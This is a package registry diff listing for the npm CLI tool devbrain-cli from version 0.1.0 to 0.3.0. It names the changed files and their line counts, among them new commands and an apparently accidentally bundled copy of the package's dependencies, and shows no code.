devbrain-cli 0.1.0 → 0.3.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +26 -26
- package/dist/bin.js +66 -4
- package/dist/commands/context.command.d.ts +2 -1
- package/dist/commands/context.command.js +42 -4
- package/dist/commands/history.command.d.ts +10 -0
- package/dist/commands/history.command.js +66 -0
- package/dist/commands/hook.command.d.ts +14 -0
- package/dist/commands/hook.command.js +40 -0
- package/dist/commands/init.command.d.ts +1 -0
- package/dist/commands/init.command.js +51 -15
- package/dist/commands/learn.command.d.ts +17 -4
- package/dist/commands/learn.command.js +266 -44
- package/dist/commands/search.command.d.ts +14 -0
- package/dist/commands/search.command.js +90 -0
- package/dist/commands/status.command.d.ts +12 -0
- package/dist/commands/status.command.js +82 -0
- package/dist/temp-prefix/devbrain +16 -0
- package/dist/temp-prefix/devbrain.cmd +17 -0
- package/dist/temp-prefix/devbrain.ps1 +28 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/LICENSE +21 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/README.md +26 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/dist/bin.d.ts +2 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/dist/bin.js +110 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/dist/commands/context.command.d.ts +17 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/dist/commands/context.command.js +74 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/dist/commands/history.command.d.ts +10 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/dist/commands/history.command.js +66 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/dist/commands/hook.command.d.ts +14 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/dist/commands/hook.command.js +40 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/dist/commands/init.command.d.ts +17 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/dist/commands/init.command.js +93 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/dist/commands/learn.command.d.ts +30 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/dist/commands/learn.command.js +294 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/dist/commands/search.command.d.ts +14 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/dist/commands/search.command.js +90 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/dist/commands/status.command.d.ts +12 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/dist/commands/status.command.js +82 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/dist/pipeline/command.pipeline.d.ts +28 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/dist/pipeline/command.pipeline.js +65 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/dist/ui/logger.d.ts +13 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/dist/ui/logger.js +31 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/.bin/fxparser +16 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/.bin/fxparser.cmd +17 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/.bin/fxparser.ps1 +28 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/analysis/analyzer.interface.d.ts +10 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/analysis/analyzer.interface.js +2 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/analysis/analyzer.registry.d.ts +20 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/analysis/analyzer.registry.js +67 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/analysis/analyzers/build-gradle.analyzer.d.ts +14 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/analysis/analyzers/build-gradle.analyzer.js +53 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/analysis/analyzers/docker.analyzer.d.ts +14 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/analysis/analyzers/docker.analyzer.js +38 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/analysis/analyzers/git.analyzer.d.ts +14 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/analysis/analyzers/git.analyzer.js +54 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/analysis/analyzers/package-json.analyzer.d.ts +14 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/analysis/analyzers/package-json.analyzer.js +72 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/analysis/analyzers/pom-xml.analyzer.d.ts +14 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/analysis/analyzers/pom-xml.analyzer.js +70 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/analysis/analyzers/readme.analyzer.d.ts +17 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/analysis/analyzers/readme.analyzer.js +65 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/analysis/analyzers/requirements-txt.analyzer.d.ts +14 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/analysis/analyzers/requirements-txt.analyzer.js +62 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/analysis/analyzers/source-code.analyzer.d.ts +24 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/analysis/analyzers/source-code.analyzer.js +126 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/analysis/analyzers/tsconfig.analyzer.d.ts +14 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/analysis/analyzers/tsconfig.analyzer.js +47 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/analysis/scanner.d.ts +21 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/analysis/scanner.js +81 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/context/context.service.d.ts +16 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/context/context.service.js +158 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/embeddings/EmbeddingProvider.d.ts +4 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/embeddings/EmbeddingProvider.js +2 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/embeddings/TransformersProvider.d.ts +9 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/embeddings/TransformersProvider.js +70 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/engine/dependency.resolver.d.ts +12 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/engine/dependency.resolver.js +101 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/engine/history.manager.d.ts +24 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/engine/history.manager.js +64 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/engine/lock.manager.d.ts +21 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/engine/lock.manager.js +89 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/engine/logger.service.d.ts +16 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/engine/logger.service.js +49 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/engine/memory.engine.d.ts +30 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/engine/memory.engine.js +200 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/filesystem/filesystem.service.d.ts +29 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/filesystem/filesystem.service.js +87 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/git/git.service.d.ts +42 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/git/git.service.js +192 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/index/SQLiteVectorStore.d.ts +19 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/index/SQLiteVectorStore.js +189 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/index/VectorIndexer.d.ts +20 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/index/VectorIndexer.js +169 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/index/VectorStore.d.ts +26 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/index/VectorStore.js +2 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/index.d.ts +29 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/index.js +29 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/memory/memory.service.d.ts +22 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/memory/memory.service.js +338 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/retrieval/ContextBuilder.d.ts +4 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/retrieval/ContextBuilder.js +107 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/retrieval/RankingEngine.d.ts +13 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/retrieval/RankingEngine.js +124 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/retrieval/SemanticRetriever.d.ts +17 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/dist/retrieval/SemanticRetriever.js +48 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/core/package.json +23 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/shared/dist/constants.d.ts +14 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/shared/dist/constants.js +24 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/shared/dist/errors.d.ts +38 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/shared/dist/errors.js +64 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/shared/dist/index.d.ts +3 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/shared/dist/index.js +4 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/shared/dist/types.d.ts +97 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/shared/dist/types.js +2 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@devbrain/shared/package.json +14 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@kwsites/file-exists/CHANGELOG.md +12 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@kwsites/file-exists/LICENSE +20 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@kwsites/file-exists/dist/index.d.ts +1 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@kwsites/file-exists/dist/index.js +7 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@kwsites/file-exists/dist/src/index.d.ts +19 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@kwsites/file-exists/dist/src/index.js +55 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@kwsites/file-exists/dist/test/__mocks__/fs.d.ts +7 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@kwsites/file-exists/dist/test/__mocks__/fs.js +26 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@kwsites/file-exists/dist/test/exists.spec.d.ts +1 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@kwsites/file-exists/dist/test/exists.spec.js +77 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@kwsites/file-exists/package.json +42 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@kwsites/file-exists/readme.md +41 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@kwsites/promise-deferred/LICENSE +21 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@kwsites/promise-deferred/dist/index.d.ts +49 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@kwsites/promise-deferred/dist/index.js +59 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@kwsites/promise-deferred/package.json +43 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodable/entities/README.md +41 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodable/entities/package.json +57 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodable/entities/src/EntityDecoder.js +644 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodable/entities/src/EntityEncoder.js +194 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodable/entities/src/entities.js +1159 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodable/entities/src/entityTries.js +49 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodable/entities/src/index.d.ts +341 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodable/entities/src/index.js +29 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.scandir/LICENSE +21 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.scandir/README.md +171 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.scandir/out/adapters/fs.d.ts +20 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.scandir/out/adapters/fs.js +19 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.scandir/out/constants.d.ts +4 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.scandir/out/constants.js +17 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.scandir/out/index.d.ts +12 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.scandir/out/index.js +26 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.scandir/out/providers/async.d.ts +7 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.scandir/out/providers/async.js +104 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.scandir/out/providers/common.d.ts +1 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.scandir/out/providers/common.js +13 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.scandir/out/providers/sync.d.ts +5 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.scandir/out/providers/sync.js +54 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.scandir/out/settings.d.ts +20 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.scandir/out/settings.js +24 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.scandir/out/types/index.d.ts +20 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.scandir/out/types/index.js +2 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.scandir/out/utils/fs.d.ts +2 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.scandir/out/utils/fs.js +19 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.scandir/out/utils/index.d.ts +2 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.scandir/out/utils/index.js +5 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.scandir/package.json +44 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.stat/LICENSE +21 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.stat/README.md +126 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.stat/out/adapters/fs.d.ts +13 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.stat/out/adapters/fs.js +17 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.stat/out/index.d.ts +12 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.stat/out/index.js +26 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.stat/out/providers/async.d.ts +4 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.stat/out/providers/async.js +36 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.stat/out/providers/sync.d.ts +3 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.stat/out/providers/sync.js +23 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.stat/out/settings.d.ts +16 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.stat/out/settings.js +16 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.stat/out/types/index.d.ts +4 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.stat/out/types/index.js +2 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.stat/package.json +37 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.walk/LICENSE +21 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.walk/README.md +215 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.walk/out/index.d.ts +14 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.walk/out/index.js +34 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.walk/out/providers/async.d.ts +12 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.walk/out/providers/async.js +30 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.walk/out/providers/index.d.ts +4 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.walk/out/providers/index.js +9 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.walk/out/providers/stream.d.ts +12 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.walk/out/providers/stream.js +34 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.walk/out/providers/sync.d.ts +10 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.walk/out/providers/sync.js +14 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.walk/out/readers/async.d.ts +30 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.walk/out/readers/async.js +97 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.walk/out/readers/common.d.ts +7 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.walk/out/readers/common.js +31 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.walk/out/readers/reader.d.ts +6 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.walk/out/readers/reader.js +11 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.walk/out/readers/sync.d.ts +15 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.walk/out/readers/sync.js +59 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.walk/out/settings.d.ts +30 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.walk/out/settings.js +26 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.walk/out/types/index.d.ts +8 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.walk/out/types/index.js +2 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@nodelib/fs.walk/package.json +44 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@simple-git/args-pathspec/dist/index.cjs +2 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@simple-git/args-pathspec/dist/index.d.ts +1 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@simple-git/args-pathspec/dist/index.mjs +17 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@simple-git/args-pathspec/dist/src/pathspec.d.ts +8 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@simple-git/args-pathspec/package.json +32 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@simple-git/argv-parser/dist/index.cjs +2 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@simple-git/argv-parser/dist/index.d.ts +5 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@simple-git/argv-parser/dist/index.mjs +463 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@simple-git/argv-parser/dist/src/args/parse-argv.d.ts +6 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@simple-git/argv-parser/dist/src/args/parse-argv.types.d.ts +59 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@simple-git/argv-parser/dist/src/config/analyse-config.d.ts +3 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@simple-git/argv-parser/dist/src/config/config-operands.d.ts +4 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@simple-git/argv-parser/dist/src/config/config.types.d.ts +6 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@simple-git/argv-parser/dist/src/config/detect-config-action.d.ts +13 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@simple-git/argv-parser/dist/src/env/parse-env.d.ts +6 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@simple-git/argv-parser/dist/src/flags/flags.helpers.d.ts +9 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@simple-git/argv-parser/dist/src/flags/parse-global-flags.d.ts +6 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@simple-git/argv-parser/dist/src/flags/parse-task-flags.d.ts +8 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@simple-git/argv-parser/dist/src/tokens/flag-specs.d.ts +9 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@simple-git/argv-parser/dist/src/tokens/token-expander.d.ts +7 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@simple-git/argv-parser/dist/src/vulnerabilities/detect-vulnerable-config-writes.d.ts +3 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@simple-git/argv-parser/dist/src/vulnerabilities/detect-vulnerable-flags.d.ts +3 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@simple-git/argv-parser/dist/src/vulnerabilities/vulnerability-analysis.d.ts +4 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@simple-git/argv-parser/dist/src/vulnerabilities/vulnerability-check.d.ts +5 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@simple-git/argv-parser/dist/src/vulnerabilities/vulnerability.types.d.ts +104 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/@simple-git/argv-parser/package.json +36 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/ansi-regex/index.d.ts +33 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/ansi-regex/index.js +14 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/ansi-regex/license +9 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/ansi-regex/package.json +61 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/ansi-regex/readme.md +66 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/anynum/LICENSE +21 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/anynum/README.md +142 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/anynum/anynum.js +135 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/anynum/digitTable.js +116 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/anynum/package.json +42 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/braces/LICENSE +21 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/braces/README.md +586 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/braces/index.js +170 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/braces/lib/compile.js +60 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/braces/lib/constants.js +57 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/braces/lib/expand.js +113 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/braces/lib/parse.js +331 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/braces/lib/stringify.js +32 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/braces/lib/utils.js +122 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/braces/package.json +77 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/chalk/license +9 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/chalk/package.json +83 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/chalk/readme.md +297 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/chalk/source/index.d.ts +325 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/chalk/source/index.js +225 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/chalk/source/utilities.js +33 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/chalk/source/vendor/ansi-styles/index.d.ts +236 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/chalk/source/vendor/ansi-styles/index.js +223 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/chalk/source/vendor/supports-color/browser.d.ts +1 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/chalk/source/vendor/supports-color/browser.js +34 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/chalk/source/vendor/supports-color/index.d.ts +55 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/chalk/source/vendor/supports-color/index.js +190 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/cli-cursor/index.d.ts +47 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/cli-cursor/index.js +39 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/cli-cursor/license +9 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/cli-cursor/package.json +56 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/cli-cursor/readme.md +39 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/cli-spinners/index.d.ts +128 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/cli-spinners/index.js +15 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/cli-spinners/license +9 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/cli-spinners/package.json +50 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/cli-spinners/readme.md +54 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/cli-spinners/spinners.json +1622 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/commander/LICENSE +22 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/commander/Readme.md +1157 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/commander/esm.mjs +16 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/commander/index.js +24 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/commander/lib/argument.js +149 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/commander/lib/command.js +2509 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/commander/lib/error.js +39 -0
